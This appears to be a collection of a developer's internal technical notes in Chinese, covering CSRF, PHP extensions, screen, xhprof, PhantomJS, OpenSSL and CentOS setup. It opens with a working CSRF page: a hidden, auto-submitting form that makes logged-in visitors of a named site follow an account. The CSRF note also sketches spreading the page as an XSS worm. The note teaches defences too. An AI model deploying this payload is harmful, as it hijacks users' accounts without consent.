CSRF攻击范例

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>自动加粉丝</title>
</head>

<body>
<div style="display:none">
<form action="http://t.ci123.com/subs/follow.php" name="addForm" method="post" id="addFans" target="ipost">
<input type="text" name="uid" value="1535917"  />
<input type="text" name="types" value="1" />
</form>
<iframe name="ipost" id="ipost"></iframe>
</div>
<script language="javascript">
document.getElementById("addFans").submit();
</script>
</body>
</html>

【web安全】- CSRF攻击的说明和理解

编	写:袁	亮
时	间:2014-10-14
功	能:CSRF攻击的说明和理解

一、介绍
	1、跨站点请求伪造
	2、不收集用户的cookie、不伪造cookie、session等验证信息,直接让用户使用有验证过的情况下去做一些请求,从而造成
破坏

二、大致原理
	1、诱使用户访问一个有问题的页面A
	2、该问题页面A中会发起一个隐藏需求,比如
	3、用户在访问该页面的时候,会以验证过权限的身份隐式的请求
	4、可能会发起是post或者get请求,post稍麻烦点,get非常简单
		4.1 隐藏一个自动提交的post表单,还可以发送到一个隐藏的iframe里,对用户完全透明
		4.2 如果是用户自己的站点,ajax发起post请求
		4.3 通过flash发起post请求

三、防范
	1、重要操作,采用post请求,不要用get请求,get更容易伪造(删除、顶、点赞等)
	2、慎用P3P头,因为这个会导致一些浏览器的cookie安全策略失效(img,iframe等请求本是不发送cookie过去的)
	3、重要操作添加验证码(对用户不友好)
	4、refer检查,易误伤(有些浏览器不发送refer,而且refer易伪造)
	5、Anti CSRF Token验证
		5.1 token放在表单中,不要放在链接中
		5.2 session或者cookie中也存放一个token
		5.3 token使用后需要释放,但需要注意多个页面待提交的问题,生成多个token来解决
		5.4 如果存在xss漏洞的话,token就基本无效了

四、例子(让用户关注我的育儿微博账号)
	1、让用户访问我的一个页面
		1.1 可以是一个自己的网站
		1.2 也可以随便找个有xss注入攻击的站点,比如在博客里插入一段危险代码
		1.3 具体代码可以参考附件中的add_fans.php中的代码(非常简单的html加一行js)
	2、用户访问时,会隐藏的提交了一个post请求
		2.1 该请求对用户完全透明
		2.2 不需要伪造用户的登陆信息,也不需要获取用户的登陆信息,完全绕过登陆验证环节
		2.3 用户只要登陆了育儿网账户,就会自动关注我的微博账号
	3、其他危险
		3.1 通过这种方法,基本上,可以用用户的账号做任何操作(对我们网站现在的情况来说)
		3.2 让访问的用户,自动发送一篇带有add_fans.php的博客,形成蠕虫病毒扩散(xss过滤不完成的话)
		3.3 在扩散出去的这些用户中,还可以升级下add_fans.php的代码,比如让他们帮忙发广告、投票、评论等等

php扩展安装的大概流程


编	写:袁	亮
时	间:2015-07-27
说	明:php扩展安装的大概流程

一、安装流程
	1、找到php源码包,进入ext目录
		1.1 注意,是源码包,而不是安装之后的那个文件夹,类似于windows,下载了一个软件包(源码包),安装到了另外一个目录
			使用的时候是直接用的安装好的目录下的程序,而要装扩展,需要的是源码包里的东西
		1.2 注意版本问题,最好是跟已经安装的php同一个版本的源码包,否则很可能会失败
		1.3 例如:192.168.0.249 
			cd /opt/software/centos/php-5.3.27/ext/pdo_mysql
	2、/opt/ci123/php/bin/phpize
		2.1 需要在扩展的那个目录下执行
		2.2 根据自己的php安装目录,找到bin/phpize
		2.3 正常的话,会生成configure
	3、 ./configure --with-php-config=/opt/ci123/php/bin/php-config --with-pdo-mysql=/opt/ci123/mysql/
		3.1 with-pdo-mysql非必须,其他是安装任何扩展都需要的
		3.2 必须在ext目录下执行
	4、make && make install
		4.1 没问题的话,会在最后输出一个目录,看下目录里是否有生成对应的.so文件,比如这次的就是pdo_mysql.so
	5、修改php配置文件,将扩展添加进去
		5.1 php.ini文件,可以通过phpinfo得到其路径,如果那个目录下没有,可以拷贝一份php.ini文件
		5.2 在末尾增加
			[pdo_mysql]
			extension=pdo_mysql.so
	6、验证模块是否正确添加
		php -m|grep pdo_mysql
		ps:如果有输出才算正常
	7、重启http服务,重新加载php
		/opt/ci123/apache/bin/apachectl -t
		/opt/ci123/apache/bin/apachectl restart
		ps:必须-t先检查下配置文件是否正常,别到时候其他人把apache配置改错了,但是因为没重启没问题,被你重启出问题来了
		
		

linux screen命令的简单使用


编	写:袁	亮
时	间:2015-07-27
说	明:linux screen命令的简单使用

一、解决什么问题?
	1、在服务器执行一些比较耗时的事情:下载、系统备份、传输文件、安装软件或者执行一个脚本等
	2、当因为某些原因与服务器断开连接,所有的执行都会白费(网突然断了,putty不小心关了,电脑卡死等等原因)
	3、或者我们在同一台服务器上需要做多件事,经常需要切换目录等等
	当出现以上情况时,都可以考虑使用screen来解决
	
二、大致原理
	1、正常我们使用putty连接到服务器,相当于一次会话
	2、当连接终止的时候,该会话相关的进程都会被终止,关闭,因此就会出现任务还没执行完,就挂掉了
	3、screen相当于在服务器上使用后台又开了一个会话,因此当前这个会话被关闭,不影响新开的那个会话中的任务执行
	4、当我们putty断掉之后,可以重新连接上去,查看之前的screen会话中的执行情况
	
三、简单使用
	1、添加一个screen窗口
		screen -S 自己定义窗口名,方便查看
	2、查看现在有几个screen
		screen -ls
	3、中断跳出某个screen窗口
		ctrl+a+d
	4、选择恢复某个screen窗口
		screen -r 创建时候定义的名字,或者通过screen -ls中看到的数字编号
	5、彻底关闭某个screen窗口
		5.1 在那个窗口中直接exit
		5.2 在那个窗口下,ctrl+d
		5.3 在那个窗口下,ctrl+a+k
		
四、原理(有兴趣的可以了解下,没兴趣的知道上面的即可)
	1、进程组、会话期
		进程组(process group):一个或多个进程的集合,每一个进程组有唯一一个进程组ID,即进程组长进程的ID
		会话期(session):一个或多个进程组的集合,有唯一一个会话期首进程(session leader)。会话期ID为首进程的ID
		会话期可以有一个单独的控制终端(controlling terminal)。与控制终端连接的会话期首进程叫做控制进程(controlling process)。当前与终端交互的进程称为前台进程组。其余进程组称为后台进程组
	2、挂断信号(SIGHUP)默认的动作是终止程序
		当终端接口检测到网络连接断开,将挂断信号发送给控制进程(会话期首进程)
		如果会话期首进程终止,则该信号发送到该会话期前台进程组
		一个进程退出导致一个孤儿进程组中产生时,如果任意一个孤儿进程组进程处于STOP状态,
		发送SIGHUP和SIGCONT信号到该进程组中所有进程
	3、因此当网络断开或终端窗口关闭后,控制进程收到SIGHUP信号退出,会导致该会话期内其他进程退出
	4、nohup使用
		nohup [要执行的shell命令] &
		很多时候,我是没加nohup,直接最后加&也可
	5、screen是直接新建会话,然后避免掉了上面的这个问题,nohup是忽略挂断信号来达到目的
	
附录:
	http://www.cnblogs.com/mchina/archive/2013/01/30/2880680.html
	http://www.ibm.com/developerworks/cn/linux/l-cn-screen/

php性能分析工具xhprof – 基础使用


编	写:袁	亮
时	间:2015-07-24
说	明:php性能分析工具xhprof-基础使用

一、简单介绍
	1、由Facebook开源的一个php性能分析工具
	2、统计函数级别的请求次数,执行时间,阻塞时间,CPU和内存使用情况等
	3、分析一个复杂项目的性能瓶颈时非常有用,很直观的看出问题在哪
	4、也可以用这个来绘制调用的关系图,方便代码理解

二、安装扩展
	1、下载扩展包
		wget http://pecl.php.net/get/xhprof-0.9.2.tgz  
	2、解压
		tar zxvf  xhprof-0.9.2.tgz
	3、安装
		cd xhprof-0.9.2/extension/
		/opt/ci123/php/bin/phpize
		./configure --enable-xhprof --with-php-config=/opt/ci123/php/bin/php-config
		make
		make install
	4、修改php.ini配置文件
		vim /opt/ci123/php/etc/php.ini
		最后,加上:
			[xhprof]
			extension=xhprof.so
			xhprof.output_dir=/tmp/xhprof
		ps:目录需要保证apache有读写权限,最后不能带/,否则会报错
	5、检验是否成功
		/opt/ci123/php/bin/php -m|grep 'xhprof'
	6、重启apache
		/opt/ci123/apache/bin/apachectl -t
		/opt/ci123/apache/bin/apachectl restart

三、自带的范例运行
	1、将解压出来的文件夹,复制到一个apache可访问的目录,extension目录不需要
	2、浏览器访问该目录下的examples/sample.php
	3、查看最后输出的提示,访问对应的链接,有相应的分析,xhprof_html/index.php
	4、出不了图的话,安装下graphviz,默认不支持png,需要再装一个gd的
		yum install graphviz
		yum install graphviz-gd
	
四、简单试用
	1、blog.geekman.vip分析
	2、首页,调用了99,829个函数
	3、可以进行各种排序,查看时间主要耗在哪些函数上
	4、可以查看整个运行过程中的性能瓶颈,图片格式,很直观
	5、范例:
		http://192.168.0.249/xhprof/xhprof_html/?run=55b1de2f8613a&source=xhprof_foo
	
附录:
	http://mirror.facebook.net/facebook/xhprof/doc.html
	http://avnpc.com/pages/profiler-php-performance-online-by-xhprof
	http://www.cnxct.com/you-do-not-have-dot-image-generation-utility-installed/
	

centos下安装字体文件

编 写:袁 亮
时 间:2015-07-23
说 明:centos下安装字体文件

一、安装步骤
1、从本地找到需要的字体文件,通过winscp传到服务器上
本地目录:C:\Windows\Fonts
服务器目录:/usr/share/fonts/chinese/TrueType/
2、在字体目录下分别执行
cd /usr/share/fonts/chinese/TrueType/
mkfontscale
mkfontdir
fc-cache -fv
3、使改动生效
3.1 source /etc/profile
3.2 reboot重启
3.3 两个版本都有看到说,都试过,不确定哪个起的效果,懒得测了,后面有兴趣的在自己虚拟机上测试看看
4、export LC_CTYPE=en_US.UTF-8 英文优先
否则phantomJs那边截图还是乱码

二、一些问题
1、如果没有mkfontscale命令
yum install mkfontscale
2、没有fc-cache命令
yum install fontconfig

三、其他知识
1、locale
查看系统语言设置
2、fc-list
查看系统的字体库
3、fc-list :lang=zh
查看中文字体库
4、更改字体使用的先后顺序?只是临时更改
#export LC_CTYPE=en_US.UTF-8 英文优先
#export LC_CTYPE=zh_CN.UTF-8 中文优先
改完之后,可以看下fc-list :lang=zh的结果,会有变化,在使用phantomJs的时候,会有影响,据说是QT那边导致,具体不清楚

参考文档:
http://www.centoscn.com/image-text/config/2014/0913/3737.html

PhantomJS第一篇:安装及抓取网页为图片

编	写:袁	亮
时	间:2015-07-21
说	明:PhantomJS第一篇:安装及抓取网页为图片

一、是什么,解决什么问题
	1、是一个无界面的,webkit内核浏览器,能像一个真正的浏览器一样解析js,dom,css等
	2、应用场景
		抓取js后加载的内容
		将完整页面转为图片
		屏幕补抓
		自动化测试
		网络监控
	
二、下载安装:linux版
	1、2.0.0版本之前的,直接网上下载编译后的二进制文件即可,直接解压就可以运行
		如果找不到好的下载源,直接上249上,有1.4版本和1.9.8版本
		/opt/software/下
	2、源码安装
		2.1 下载源码
			a:直接下载某个版本
				wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.0.0-source.zip
				unzip phantomjs-2.0.0-source.zip
			b:git下载全部
				git clone git://github.com/ariya/phantomjs.git
				cd phantomjs
				git checkout 2.0
			c:下载太慢,直接从249上拷贝
				/opt/ci123/www/html/phantomjs
		2.2 安装依赖的模块
			yum -y install gcc gcc-c++ make flex bison gperf ruby \
			openssl-devel freetype-devel fontconfig-devel libicu-devel sqlite-devel \
			libpng-devel libjpeg-devel
		2.3 执行安装脚本(以小时记,好久好久...)
			./build.sh
	3、参考文档
		http://phantomjs.org/build.html
	4、执行方法
		./bin/phantomjs examples/post.js
			
三、下载安装:windows版本
	1、自行搜索下载
		http://phantomjs.org/download.html
	2、18上有2.0.0版本
		\\192.168.0.18\运维网络硬盘\r软件\phantomjs-2.0.0-windows.zip
	3、解压出来之后,可以直接运行
	4、命令行下执行:
		cd 到相应目录
		./bin/phantomjs.exe examples/post.js
		
四、简单使用,抓取一个网页,并保存为图片
	1、新建fetch.js文件
	2、输入以下代码
		var page = require('webpage').create();
		page.open('http://www.ci123.com/', function() {
			page.render('/opt/ci123/www/html/geekman/ci123.png');
			phantom.exit();
		});
	3、执行,并查看图片是否生成
		./bin/phantomjs fetch.js
		
五、遇到的问题及解决办法
	1、网页中的中文乱码,中文的地方,都是一堆方括号
		yum install bitmap-fonts bitmap-fonts-cjk
		ps:这个解决了乱码问题,但是导致了下面另外一个问题,坑了我大半天
	2、生成的png有一堆的透明效果
		www.ci123.com加使用美图看看导致,其实是正常的
		放在浏览器里看就正常了
	3、生成jpg格式图片,背景黑色
		执行之后,将body背景设置为白色即可
		page.evaluate(function(){
			document.body.bgColor = 'white';
		});
	4、有些内容后加载,导致页面有空白
		延时一定时间之后在渲染成图片
		window.setTimeout(function (){
			page.render("/opt/ci123/www/html/geekman/ci123.png");
			phantom.exit();
		}, 3000);
	5、有些内容,需要触发效应效果才出现,可以在page.evaluate中模拟
		page.evaluate(function(){
			document.body.bgColor = 'white';
			
			window.scrollTo(0,10000);//滚动到底部
			window.document.body.scrollTop = document.body.scrollHeight;
		});
	6、flash播放显示的内容,截取不到
		1.5版本之后就不再支持flash,如果要抓取flash的,需要安装1.4及之前的版本
	7、生成的图片,宽度不够,比如www.ci123.com大概只有960的样子
		设置webkit的宽高,让样式显示正常(可以调整这个的不同值,来抓取不同分辨率下的表现,特别是响应式布局的页面)
		page.viewportSize = {width: 1440,height: 800};
	8、在window下抓取,页面显示正常,但是在linux下抓取,页面排版跟浏览器上显示的有很大的区别
		8.1 版本一致,怀疑是版本的问题,装过1.4,1.5,1.9.2,1.9.8,2.0.0版本,都没用...
		8.2 百度、google了很久,发现别人都没这个问题
		8.3 怀疑是不是webkit内核不一样,所以在我的浏览器里正常,在服务器上的那个不一样,看过使用的webkit内核,是比较旧
			然后又是各种切换版本,测试,发现还是不行
		8.4 后来仔细看截出来的图,发现汉字跟浏览器里不大一样,怀疑是这个的问题
		8.5 将最开始安装的那两个中文字库删除,再截,发现,汉字乱码了,但是排版正常....
			所以问题就确定了,因为使用了不当的字体库,导致页面排版出错
		8.6 重装centos的字体库,又踩了个坑,这个见额外的文档

六、完整代码范例
	var page = require('webpage').create();
	page.viewportSize = {width: 1440,height: 800};
	var url = 'http://www.ci123.com/';
	page.open(url, function (status){
		if (status != "success")    {
			console.log('FAIL to load the address');
			phantom.exit();
		}

		var bb = page.evaluate(function()    {
			document.body.bgColor = 'white';

		// //此函数在目标页面执行的,上下文环境非本phantomjs,所以不能用到这个js中其他变量
			window.scrollTo(0,10000);//滚动到底部
			window.document.body.scrollTop = document.body.scrollHeight;
		});

		window.setTimeout(function (){
			page.render("/opt/ci123/www/html/geekman/ci123.png");
			phantom.exit();
		}, 3000);
	});
		
七、其他
	1、1.5版本之后不支持flash,如果要支持flash的话,请下载1.4以前的版本
	2、常用语法
		http://www.tuicool.com/articles/nieEVv
		http://www.cnblogs.com/justany/p/3279717.html
	3、官方文档
		http://phantomjs.org/documentation/
	4、examples文件夹下,有很多范例,直接参考使用,很好用
	

openssl第一篇:简单了解


编	写:袁	亮
时	间:2015-07-20 
说	明:openssl第一篇:简单了解

一、什么是openssl
	1、一个强大的安全套接字层密码库
	2、套接字:源ip,目的ip,协议,源端口,目的端口组成,通信的一种约定,想了解更多,请自行google
	3、建立在可靠的传输层协议TCP上
	4、主要功能:
		4.1 加密、解密在网络传输中的数据包,包含这些数据不被篡改和伪造(在网络传输数据前加密,收到数据,先解密再往上传)
		4.2 验证客户端和服务端的身份,只跟符合要求的另一方进行通信(正常的网络请求是没有验证的)
	
二、哪些地方使用到了
	1、绝大部分的https服务器
	2、支持https的浏览器(客户端)
	3、各种支付功能:比如支付宝、银联支付、微信支付等,都需要openssl支持
	4、对安全要求比较高的话,比如防止数据被伪造获取,传输内容被看到,都可以考虑使用
	
三、工作原理(摘自参考文章,大概了解即可)
	1、client送给server它自己本身使用的ssl的version(ssl一共有三个version),加密算法的一些配置
		和一些随机产生的数据,以及其他在SSL协议中需要用到的信息
	2、server送给client它自己的SSL的version,加密算法的配置,随机产生的数据,还会用自己的私有密钥加密SERVER-HELLO信息
		Server还同时把自己的证书文件给送过去。同时有个可选的项目,就是server可以要求需要客户的certificate
	3、client就用server送过来的certificate来验证server的身份。如果server身份验证没通过,本次通信结束。
		通过证书验证之后,得到server的公共密钥,解开server送来的被其用私有密钥加密过的SERVER-HELLO信息,看看对头与否
		(可理解为签名的过程,用来验证服务器身份)。
		如果不对,说明对方只有该server的公共密钥而没有私有密钥,必是假的。通信告吹。 
	4、client使用产生了的随机数据(sharedsecret),并且把这个随机数据用server发送过来的的公共密钥加密,
		此次加密过程产生本次握手中的premastersecret(这个步骤是有可能有server的参与的,由他们使用的加密算法决定)
		然后将它(premastersecret)送回给server,如果server要求需要验证client,那么client也需要自己把自己的证书送过去
		同时送一些自己签过名的数据过去。
	5、Server验证完client的身份之后,然后用自己的私有密钥解密得到premastersecret然后双方利用这个premastersecret来共同协商
		得到mastersecret(可理解为premastersecret为双方协商的暗号,然后使用这个暗号再协商一个mastersecret用来
		产生真正的会话密钥用来传输数据)以此来保证数据的决对安全。
    6、双方用mastersecret一起产生真正的sessionkey,然后就是他们在剩下的过程中的对称加密的key了。
		这个key还可以用来验证数据完整性。双方再交换结束信息。握手结束。
	
四、关键名称
	1、加密算法
		1.1 对称加密算法(加密和解密用的秘钥一致)
			一共提供了8种对称加密算法,其中7种是分组加密算法,仅有的一种流加密算法是RC4
			7种分组加密算法分别是AES、DES、Blowfish、CAST、IDEA、RC2、RC5
			des比较常用
		1.2 非对称加密算法(加密和解密用的秘钥不一致)
			包括DH算法、RSA算法、DSA算法和椭圆曲线算法(EC)
			rsa和dsa是最流行的数字签名技术
	2、公钥、密钥
		2.1 公钥(Public Key)与私钥(Private Key)是通过一种算法得到的一个密钥对(即一个公钥和一个私钥)
		2.2 公钥是密钥对中公开的部分,私钥则是非公开的部分
		2.3 使用这个密钥对的时候,如果用其中一个密钥加密一段数据,必须用另一个密钥解密
			比如用公钥加密数据就必须用私钥解密,如果用私钥加密也必须用公钥解密,否则解密将不会成功
	3、数字证书
		3.1 由权威机构(CA)颁发
		3.2 包含公钥所有者信息、公钥内容以及证书授权中心的数字签名所组成的文件
		3.3 有效期内才有用
		3.4 证书格式
			cer:公钥证书格式
			pfx:私钥证书格式
	4、证书授权中心 CA (Certificate Authority)
		4.1 各家浏览器支持的ca机构也不尽相当,特别是对一些小的ca机构
		4.2 比较著名的ca机构:
			VeriSign:最大的认证机构,赛门铁克的子公司,管理世界13台根服务器中的2台,顶级域名中的.com和.net等,百度在用
			中国金融认证中心:http://cs.cfca.com.cn 银联证书就是使用的这个
			google internet authority g2:谷歌家的
			geotrust ssl ca g2:微信在使用
			StartCom 使用的也比较多
		4.3 出名的ca机构,证书比较贵,还有一些小的ca机构,虽然便宜,但是有些浏览器不认可,会提示不受信任,体验较差	
		4.4 火狐支持的ca机构:
			http://curl.haxx.se/ca/cacert.pem
附录:
	http://blog.itechol.com/space-33-do-blog-id-5158.html
	http://baike.baidu.com/link?url=q3wLEKuHy59qDRfIUMYnG0SnofPY0sI32c6N2-3u-zcf7qKB3vRu3v9Jlke0BkiwzcO9sEXDVln-ImZWhauVna
	http://my.oschina.net/0757/blog/207487

centos,开机时间同步问题

编	写:袁	亮
时	间:2015-07-21
说	明:centos,开机时间同步问题

一、定时同步标准时间
	1、方法1:rdate
		1.1 centos默认就有安装该命令/usr/bin/rdate
		1.2 加入到定时脚本,每小时同步一次时间
			10 * * * * /usr/bin/rdate -s rdate.darkorb.net
	
	2、方法2:ntpdate
		2.1 安装ntpdate从时间服务器更新时间,如果已有/usr/sbin/ntpdate,跳过本步骤
			yum install ntp
		2.2 测试是否能获取最新时间,看输出时间是否正确
			/usr/sbin/ntpdate time.nist.gov
		2.3 加入crontab,定时同步
			10 * * * * /usr/sbin/ntpdate time.nist.gov
二、虚拟机,设置不与宿主机进行时间同步
	1、如果是xen虚拟机安装的话,需要注意,默认是会跟宿主机进行时间同步的
	2、修改文件/proc/sys/xen/independent_wallclock
		内容改为1,设置虚拟机时间独立,不与宿主机同步
	3、为防止每次重启的时候,被重置,可以在开机启动脚本中添加设置,并同步一次时间
	

培训6:linux基础能力


10:05 2014-7-11,袁亮,linux基础能力端口

一、基础能力(必选)
	1、putty连接 设置
	2、vim基本操作
	3、svn常用命令以及练习(见文档)
		
二、服务安装(虚拟机上应该已经装了,有兴趣的可以升级)(可选)
	1、nginx
	2、apache
	3、mysql
	4、php

三、服务配置(可选)
	1、nginx 
		监听80端口
		配置域名my.ci123.com,请求转发到本机88端口
		静态文件缓存到tmp目录下
	2、apache
		监听88端口
		配置域名my.ci123.com 
		程序目录放在/opt/ci123/www/html/my.ci123.com下
		记录访问和报错日志	
	3、mysql 
		开3306 3307两个端口
		编写启动、停止、重启的shell脚本
		设置慢查询log
	4、php		
		添加memcache扩展

	5、本地访问my.ci123.com

四、日志查看分析(可选)
	1、apache访问日志和报错日志
	2、mysql慢日志